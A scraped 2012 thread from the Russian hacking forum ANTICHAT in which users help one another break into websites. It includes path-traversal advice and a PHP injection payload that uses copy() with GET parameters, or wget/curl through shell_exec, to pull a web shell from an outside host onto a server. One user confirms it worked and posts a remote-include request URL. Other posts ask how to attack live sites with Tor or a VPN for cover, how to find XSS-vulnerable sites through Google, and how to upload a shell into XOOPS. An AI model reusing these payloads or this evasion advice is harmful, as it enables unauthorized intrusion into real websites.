ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
09.01.2012, 00:13
|
|
Guest
Сообщений: n/a
Провел на форуме:
183267
Репутация:
84
|
|
/ 5 home/ 4 www/ 3 z74500/ 2 bombaticket.ru/ 1 pg.php
не?
|
|
|
|
09.01.2012, 00:18
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от Skipp
Skipp said:
Спасибо, понятно, но в моём примере стоит 5 пар (../../../../../), или я что-то не допонял.
4, можно ставить больше, сколько угодно (в пределах макс длины урл), ибо дальше корня не пойти
Сообщение от shadowrun
shadowrun said:
/ 5 home/ 4 www/ 3 z74500/ 2 bombaticket.ru/ 1 pg.php
не?
это когда pg.php стал папкой?
|
|
|
09.01.2012, 00:18
|
|
Новичок
Регистрация: 12.05.2010
Сообщений: 2
Провел на форуме:
33215
Репутация:
0
|
|
Да, понятно.
|
|
|
|
09.01.2012, 00:45
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
29
Репутация:
0
|
|
Нашел уязвимость, отсылаю пост запрос с содержимым:
$modi=
все выводится. Но когда пытаюсь отослать запрос с кавычкой, получаю ошибку:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /h
Подскажите в какую сторону копать, чтобы залить шелл. Например вот так:
file_put_contents($_SERVER[DOCUMENT_ROOT].DIRECTORY_SEPARATOR.'1.php','111';
только как избавится от кавычек?
|
|
|
|
09.01.2012, 00:47
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от ocheretko
ocheretko said:
Нашел уязвимость, отсылаю пост запрос с содержимым:
$modi=
все выводится. Но когда пытаюсь отослать запрос с кавычкой, получаю ошибку:
Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /h
Подскажите в какую сторону копать, чтобы залить шелл. Например вот так:
file_put_contents($_SERVER[DOCUMENT_ROOT].DIRECTORY_SEPARATOR.'1.php','111';
только как избавится от кавычек?
copy($_GET[a],$_GET );
через гет отправь
a=http://site.ru/shell.txt&b=/var/www/html/shell.php
если shell_exec не отключено, то можно и print(`wget http://site.ru/shell.php`); или curl
|
|
|
|
09.01.2012, 00:48
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме:
7879791
Репутация:
265
|
|
Сообщение от NZT
NZT said:
stepashka_
, скажу чесно дело в том что я боюсь на популярных сайтах тренироваться чтобы потом проблем небыло , или
Tor достаточно для этих сайтов?
Поставь себе на комп бажную цмс и тренируйся
Или купи vpn.
|
|
|
|
09.01.2012, 01:19
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
29
Репутация:
0
|
|
Благодарю, все получилось, +1 прием в голову
PHP код:
PHP:
[COLOR="#000000"]Dim url as String = "example.com"
Dim postdata As String = "modi=[COLOR="#0000BB"][/COLOR]"
openurl = "http://" & url & "/scriptname.php?scdir=/var/chroot/site/readme.php&ldir=http://yousite.ru/1.txt"[/COLOR]
|
|
|
|
09.01.2012, 09:53
|
|
Guest
Сообщений: n/a
Провел на форуме:
6075
Репутация:
0
|
|
Сообщение от stepashka_
stepashka_ said:
Поставь себе на комп бажную цмс и тренируйся
Или купи vpn.
Насчет быжных сайтов на компе так я хотел бы тренироваться в интернете , так забавней )
А насчет впн , так я хотел бы пока обойтись простыми и не популярными сайтами для тренировки чтобы не нужно было сильно прятаться и заодно бесплатно , или для хорошего опыта желательно поставить впн и потренироваться имено на серьёзных сайтах. Что посоветуешь? Я новичок и хочу научиться , поэтому я обращяюсь за советом поскольку ничего не знаю )
Спасибо.
И как найти простые сайты с xss ? Просто лазить по разным сайтам и искать или можно как то через гугл найти кучу простых сайтов а потом в них уже искать уязвимость?
|
|
|
|
09.01.2012, 13:05
|
|
Guest
Сообщений: n/a
Провел на форуме:
74477
Репутация:
21
|
|
как залить шелл в xoops через админку?
|
|
|
|
09.01.2012, 14:33
|
|
Guest
Сообщений: n/a
Провел на форуме:
102354
Репутация:
267
|
|
Сообщение от DyukiN
DyukiN said:
как залить шелл в xoops через админку?
/showpost.php?p=2962252&postcount=4
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
